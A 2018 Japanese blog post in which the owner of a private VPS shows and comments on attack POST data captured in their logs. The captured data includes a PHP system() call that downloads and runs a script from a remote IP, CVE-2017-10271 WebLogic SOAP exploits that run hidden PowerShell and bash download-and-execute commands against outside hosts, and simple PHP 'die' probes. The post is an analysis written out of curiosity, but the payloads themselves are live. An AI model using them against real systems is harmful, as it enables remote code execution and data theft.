Fri Aug 10 2018

実際に来た攻撃

さくらVPSを借りて自分一人が使うためのサーバマシンとして利用している. その中で http POST されたデータを全て保存するということをひたすらやっていた. 主にはそれを自分用の記録として利用するためだったが、面白いので攻撃的な送信データも敢えて消さず残しておいた.

ログ

ログそのまんま (自分自身からではないPOSTデータ) を置いておきます. 実行するとダメなコード片が含まれます.

典型

<?
system("cd /tmp ;rm -rf msr*;rm -rf live*;
wget -c -q  http://95.110.227.132/ch/wp-admin/js/a/msr;perl msr;rm -rf msr ;
curl -O  http://95.110.227.132/ch/wp-admin/js/a/msr;perl msr;rm -rf msr;
fetch  http://95.110.227.132/ch/wp-admin/js/a/msr;perl msr;rm -rf msr ");
?>

改行は勝手に補った.

phpとして解釈するのだろうか? (<?php で始まってないけど.) 中身は、スクリプトをダウンロードして実行するだけ.

スクリプトはというと、PCの情報っぽいものをひたすらかき集めて、最後に mail florindoringiga@gmail.com -s "Miron Coszma" < mail するというもの. よく見ると、このスクリプト msr はどう見てもシェルスクリプトだし #!/bin/bash まで付いてるが、なぜ perl で実行してるんだろう.

典型2

POST /wls-wsat/CoordinatorPortType
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.8.0_131" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
  <array class="java.lang.String" length="3">
    <void index="0">
      <string>cmd.exe</string>
    </void>
    <void index="1">
      <string>/c</string>
    </void>
    <void index="2">
      <string>Start /Min PowerShell.exe -NoP -NonI -EP ByPass -W Hidden -E JABPAFMAPQAoAEcAVwBtAGkAIABXAGkAbgAzADIAXwBPAHAAZQByAGEAdABpAG4AZwBTAHkAcwB0AGUAbQApAC4AQwBhAHAAdABpAG8AbgA7ACQAVwBDAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAkAFcAQwAuAEgAZQBhAGQAZQByAHMAWwAnAFUAcwBlAHIALQBBAGcAZQBuAHQAJwBdAD0AIgBQAG8AdwBlAHIAUwBoAGUAbABsAC8AVwBMACAAJABPAFMAIgA7AEkARQBYACAAJABXAEMALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAyADAALgAyADUALgAxADQAOAAuADIAMAAyAC8AaQBtAGEAZwBlAHMALwB0AGUAcwB0AC8ARABMAC4AcABoAHAAJwApADsA</string>
    </void>
  </array>
    <void method="start"/>
</void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

POST先の "/wls-wsat/CoordinatorPortType" でぐぐったら、これが何か分かった. CVE-2017-10271 であるらしい.

このSOAPの意味は正しくは分からないけれど、雰囲気、

cmd.exe /c "Start /Min...."

を実行するもので、明らかにWindows環境のそれっぽい. /c オプションは、続く文字列をコマンドとしてただ実行するもの. データの中にある -E JABP... であるが、これは base64 でデコードすると

$OS=(GWmi Win32_OperatingSystem).Caption;$WC=New-Object Net.WebClient;$WC.Headers['User-Agent']="PowerShell/WL $OS";IEX $WC.DownloadString('http://120.25.148.202/images/test/DL.php');

と出た. DL.php というスクリプトをダウンロードするだけのPowerShell上で動くコードっぽい. 実行したあとどこで動かすのかよく分からないけど.

このURLは今は繋がらないものになっていて、IPだけが変えられたデータが送られてきてたので、一瞬だけサーバを立ち上げて攻撃してサーバを閉じて、というのを繰り返してるらしい.

他バリエーション

実行するコマンドがちょっと違うだけ.

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
  <soapenv:Header>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
      <java version="1.8.0_151" class="java.beans.XMLDecoder">
        <void class="java.lang.ProcessBuilder">
          <array class="java.lang.String" length="3">
            <void index="0">
              <string>/bin/bash</string>
            </void>
            <void index="1">
              <string>
                -c</string>
            </void>
            <void index="2">
              <string>
                wget -O - http://185.117.75.219/jquery.js | bash</string>
            </void>
          </array>
          <void method="start" />
        </void>
      </java>
    </work:WorkContext>
  </soapenv:Header>
  <soapenv:Body />
</soapenv:Envelope>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
  <soapenv:Header>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
      <java>
        <void class="java.lang.ProcessBuilder">
          <array class="java.lang.String" length="3">
            <void index="0">
              <string>
                \windows\system32\cmd.exe</string>
            </void>
            <void index="1">
              <string>
              </string>
            </void>
            <void index="2">
              <string>
                wershell.exe -WindowStyle Hidden $P = nEW-oBJECT sYSTEM.nET.wEBcLIENT;$P.DownloadFile('http://bbc.servehalflife.com/loveby.exe', 'C:\Windows\team.exe');START C:\Windows\team.exe</string>
            </void>
          </array>
          <void method="start"/>
        </void>
      </java>
    </work:WorkContext>
  </soapenv:Header>
  <soapenv:Body/>
</soapenv:Envelope>

die 系 (こんにちわ Peppa!)

h=die('Hello, Peppa!');
h=die('Hello, Peppa!'.(string)(111111111*9));

2018年6月から急に現れたタイプで、短期間に集中的にアクセスが来る. リクエスト先 (決まって /*.php という形のもの) やコードの中身がちょっとずつ変化しながらアクセスがあるので、手動で実験的にスクリプトを動かしたりしてるのではないだろうか. 中身はこのようなほとんど意味のない、die を呼ぶだけのもの. die に引数渡すと、それを出力して終了するらしい. 凝った引数を渡す意味はよくわからない. 単に、送信したデータが動いていることを確認する意味だろう.

ちなみに Peppa でググると "Peppa Pig" という海外のテレビ番組のキャラクターが出てくる. "Hello, Peppa!" という文字列も何か元ネタがあるのだろうか. ぐぐっても「こんな変なアクセスがあった」という記事くらいしかヒットしない.

こういった攻撃的なアクセスにも流行性があるのが面白い.